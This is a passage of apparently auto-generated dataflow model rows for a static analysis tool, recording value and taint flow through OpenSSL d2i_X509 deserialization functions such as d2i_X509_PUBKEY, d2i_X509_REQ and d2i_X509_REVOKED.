"d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_bio", "(BIO *,X509_PUBKEY **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_bio", "(BIO *,X509_PUBKEY **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_bio", "(BIO *,X509_PUBKEY **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_bio", "(BIO *,X509_PUBKEY **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_bio", "(BIO *,X509_PUBKEY **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_bio", "(BIO *,X509_PUBKEY **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_bio", "(BIO *,X509_PUBKEY **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_bio", "(BIO *,X509_PUBKEY **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_bio", "(BIO *,X509_PUBKEY **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_bio", "(BIO *,X509_PUBKEY **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_fp", "(FILE *,X509_PUBKEY **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_fp", "(FILE *,X509_PUBKEY **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_fp", "(FILE *,X509_PUBKEY **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_fp", "(FILE *,X509_PUBKEY **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_fp", "(FILE *,X509_PUBKEY **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_fp", "(FILE *,X509_PUBKEY **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_fp", "(FILE *,X509_PUBKEY **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_fp", "(FILE *,X509_PUBKEY **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_fp", "(FILE *,X509_PUBKEY **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_fp", "(FILE *,X509_PUBKEY **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_bio", "(BIO *,X509_REQ **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_bio", "(BIO *,X509_REQ **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_bio", "(BIO *,X509_REQ **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_bio", "(BIO *,X509_REQ **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_bio", "(BIO *,X509_REQ **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_bio", "(BIO *,X509_REQ **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_bio", "(BIO *,X509_REQ **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_bio", "(BIO *,X509_REQ **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_bio", "(BIO *,X509_REQ **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_bio", "(BIO *,X509_REQ **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_fp", "(FILE *,X509_REQ **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_fp", "(FILE *,X509_REQ **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_fp", "(FILE *,X509_REQ **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_fp", "(FILE *,X509_REQ **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_fp", "(FILE *,X509_REQ **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_fp", "(FILE *,X509_REQ **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_fp", "(FILE *,X509_REQ **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_fp", "(FILE *,X509_REQ **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_fp", "(FILE *,X509_REQ **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_fp", "(FILE *,X509_REQ **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - 